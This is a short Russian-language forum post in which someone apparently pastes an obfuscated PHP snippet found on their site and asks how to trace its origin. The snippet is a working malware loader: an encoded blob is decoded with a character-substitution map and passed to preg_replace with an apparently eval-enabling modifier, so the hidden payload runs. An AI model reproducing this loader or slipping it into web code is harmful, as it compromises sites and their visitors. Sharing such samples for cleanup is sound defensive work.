У меня такой вариант:
$pk='b16e523177731dcebff764b379878e77';
$rsa='!:`>rhU`K!%T.S!k^S!rnp*Fn">7`]F/JOex<">&5pJtU&g~`dF7O"]T`Og~kQ#*`b*s!QMs5[S*`Og+Up;aO"]Qk&FQkQkKC[*Inp*^n"}:JtF>kxn:kxCxP6|s<qtsJfmskqg>S[#*OtW-{tMUnAWNOb*sJOJmU[mf4Og>gZM0Jp]ZU"M>5Ag~k>FQUqe}CQ#*OtW-{tMUnAWNOb*s5HK*SHt|kAn>JtFz4OMZ`[#xB"n:SA}/kp>*JOni4qnmS"}ik"}tkxWi!d;7Jp]TB"*xP[M0{~]b]*]bdQSB];MeOt]HM]n0e{S;H>exOb*Inp4FeAWmkxg>Oq]QU[#*Otg;{>J;{>Kxb;M{{;FbM{J;{*]bnt~s<QMZ-{|*J>Kx`pF/S[SS<QMQ-{W+k&]xO"tmSpg^5[kZUp>"J]+74"Fz0pS:U"SKJ]+70A>m`pF:O[ai4&>7JQaZU"ti!d;7Jp]TO[aQSO}Q4dtfUp]QO[aQSO}f4d>*S]+70pJm4"]fU"FNO[ai`da/Sp;xk&zO[aiSp>7!O]QU;+70pnsS;+7UA*Z`bkKnpCs0A+*4/~Fnqe74"ix<QM^-bM0{~]b]*]bdQSB];MeO~m-{texOHK*4Z~*SpmskQ~GkmNrTq1Gk"]~Sp>7JqgUn"g:U"zsJ]FsJ[SS<QMx-bMfPfS/JOg/`dF7O">*n/K*JH~*4fTxUp;7JtFsJ[kInpeFJdt+SA*^n;FHM]ndM]nUn~m{];W0d;FgHt^xOb*I`d4^Jdt+SA*^n;F6H~FPb{]Unp]S5b>I`d4^`Og/JOe^n;FAM]MUn">+4x4xOb*&nf#mJdt+SA*^n;FAM]MUn"kxOb*snf4^Bd]zkAMa5[M0e~F-b~>;dQMxOb*s5OzsJf#*4/~Fnp#s!">&5[M*5Og>Spg:U"zsJb#*Jb+xJdTxPAMsUd{^5bK/gZ|+C[*Inp~Fkq]fkqMQ5pt*gb#*`[*KC[+T5Hz+k&>7S[#fJpFZSdt>Uxe7UpFZ4OMsU"TFn"m~SA|%PQFtk&+~k"m:kxe7`da&UQFInptFnQBs<qt>!p>~<qtsJf#^BbMt5b4&nABs!QMn{jnB]jtCPZ~f-AgZk&>+S[W~!OW>-bS~JOm~P"smS&/4qnskAexBAgQ4/~x!QM~`p>/PHa/JOM~`daxktKx4&Fmk&M0SOnKnttFP">7Jp]TPxW^k6Fskpn"-OK*SpmskQ~GkmNrTq1Gk&]x`Og~kx*z-&FtSAWtS[~GkmNrTq1G4da~`{gm4"m>bp;/`A~&4dt+<"kF`xCx-Z+:k"gQ`OW~-fBI0O~11l';
$pka='!+Fa[3S%s}<QL*DKI-xA?tuV$]2rzJ~^B.glo)b{1W:REej@dN6vn|XicM"=m`hGpU_Cf8kY5;/#q,OPT47wyZ9H>0(&';
$pkb='ew95C#d6pxOy&k<s7PnH:1$`"Vq(tZ0oI_N;?}SU)Bv=]QE+WrD/JA,
[email protected][Mi-c^KFzg3|XL4Yu{>j*Tlf%m';
$f='%t%'.substr($rsa,718,1);
$klf=preg_replace($f,strtr($rsa,$pka,$pkb),'html');
Найти бы корень зла...
